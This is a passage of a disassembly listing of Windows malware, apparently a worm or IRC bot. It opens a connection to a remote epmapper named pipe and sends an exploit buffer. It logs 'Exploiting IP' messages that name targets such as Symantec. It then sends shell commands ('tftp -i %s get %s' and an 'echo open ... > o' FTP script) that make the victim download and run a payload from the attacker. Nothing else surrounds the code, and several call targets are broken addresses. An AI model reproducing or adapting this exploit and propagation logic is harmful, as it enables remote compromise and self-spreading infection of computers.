		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27506FCh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2750000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		call	near ptr 26808BBh
		nop
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26808BBh
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		call	near ptr 26A068Bh
		nop
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		call	near ptr 26A068Bh
		nop
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
